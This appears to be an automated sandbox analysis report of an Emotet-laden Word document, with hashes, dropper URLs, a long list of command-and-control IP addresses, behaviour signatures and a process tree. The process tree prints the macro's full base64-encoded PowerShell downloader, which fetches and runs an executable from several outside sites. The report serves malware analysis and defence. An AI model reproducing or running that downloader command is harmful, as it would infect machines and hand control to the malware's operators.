Analysis
- max time kernel
139s - max time network
138s - platform
windows10_x64 - resource
win10v200722 - submitted
14/09/2020, 22:55
Static task
static1
Behavioral task
behavioral1
Sample
KSWG_FW1SDXC59KUW1JJ.doc
Resource
win7
General
- Target KSWG_FW1SDXC59KUW1JJ.doc
- Size 151KB
- Sample200914-77hwphtmbx
- SHA256 5e9694ee68dfea978dbc805fe72b5788f079caf4dc6e7cd66c811286bf943772
- MD5 615941d30f6f6584861166378f8f197a
- SHA1 f101eed32dff77ba7c0f06fd328928baeb82fc47
- SHA512 6e2b37ba5298e20e4842a10a0b35dfc69cb28bc0af422ff2788215276c4158e4c81eab92bd16e3b4631c434e17aab7a9c5e44d742ccf8f1c7b02279159b9562d
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.gozowindmill.com/meteo/97/
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exe.dropper
http://www.greaudstudio.com/docs/Z/
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exe.dropper
https://b176f.cn/wp-admin/1/
-
exe.dropper
https://blog.socialpill.in/jdzetd/fZuInax/
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exe.dropper
http://maisshake.com.br/wp-includes/dPmzV1/
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exe.dropper
http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
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exe.dropper
http://grndl.com/oinj/j4/
Extracted
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emotet
-
104.32.141.43:80
-
104.156.59.7:8080
-
120.138.30.150:8080
-
139.59.67.118:443
-
61.92.17.12:80
-
103.86.49.11:8080
-
174.45.13.118:80
-
75.139.38.211:80
-
104.131.11.150:443
-
121.124.124.40:7080
-
200.114.213.233:8080
-
185.94.252.104:443
-
181.169.34.190:80
-
187.161.206.24:80
-
93.147.212.206:80
-
176.111.60.55:8080
-
83.169.36.251:8080
-
174.102.48.180:443
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
37.187.72.193:8080
-
50.91.114.38:80
-
168.235.67.138:7080
-
84.39.182.7:80
-
219.74.18.66:443
-
91.211.88.52:7080
-
5.196.74.210:8080
-
24.137.76.62:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
104.131.44.150:8080
-
201.173.217.124:443
-
62.75.141.82:80
-
153.177.101.120:443
-
153.232.188.106:80
-
139.99.158.11:443
-
85.66.181.138:80
-
209.141.54.221:8080
-
85.152.162.105:80
-
82.225.49.121:80
-
162.241.242.173:8080
-
169.239.182.217:8080
-
1.221.254.82:80
-
50.35.17.13:80
-
78.24.219.147:8080
-
89.216.122.92:80
-
82.80.155.43:80
-
87.106.139.101:8080
-
85.214.28.226:8080
-
194.187.133.160:443
-
74.120.55.163:80
-
157.245.99.39:8080
-
74.208.45.104:8080
-
79.137.83.50:443
-
139.59.60.244:8080
-
95.179.229.244:8080
-
203.153.216.189:7080
-
203.117.253.142:80
-
172.91.208.86:80
-
46.105.131.79:8080
-
110.145.77.103:80
-
188.219.31.12:80
-
68.188.112.97:80
-
109.74.5.95:8080
-
62.30.7.67:443
-
137.59.187.107:8080
-
156.155.166.221:80
-
104.236.246.93:8080
-
94.23.216.33:80
-
94.23.237.171:443
-
95.213.236.64:8080
-
79.98.24.39:8080
-
97.82.79.83:80
-
47.144.21.12:443
-
37.139.21.175:8080
-
139.162.108.71:8080
-
12.30.50.130:80
-
94.200.114.161:80
-
78.187.156.31:80
-
61.19.246.238:443
-
85.105.205.77:8080
-
139.130.242.43:80
-
213.196.135.145:80
-
137.119.36.33:80
-
24.43.99.75:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2488 3904 powershell.exe 72 - Blacklisted process makes network request 6 IoCs
flow pid Process 21 2488 powershell.exe 24 2488 powershell.exe 26 2488 powershell.exe 29 2488 powershell.exe 30 2488 powershell.exe 35 2488 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2180 Ujkfmkgc.exe 1456 AUDIOKSE.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\kerberos\AUDIOKSE.exe Ujkfmkgc.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3956 WINWORD.EXE 3956 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2488 powershell.exe 2488 powershell.exe 2488 powershell.exe 1456 AUDIOKSE.exe 1456 AUDIOKSE.exe 1456 AUDIOKSE.exe 1456 AUDIOKSE.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2488 powershell.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 2180 Ujkfmkgc.exe 1456 AUDIOKSE.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2488 wrote to memory of 2180 2488 powershell.exe 79 PID 2488 wrote to memory of 2180 2488 powershell.exe 79 PID 2488 wrote to memory of 2180 2488 powershell.exe 79 PID 2180 wrote to memory of 1456 2180 Ujkfmkgc.exe 81 PID 2180 wrote to memory of 1456 2180 Ujkfmkgc.exe 81 PID 2180 wrote to memory of 1456 2180 Ujkfmkgc.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\KSWG_FW1SDXC59KUW1JJ.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\SysWOW64\kerberos\AUDIOKSE.exe"C:\Windows\SysWOW64\kerberos\AUDIOKSE.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1456
-
-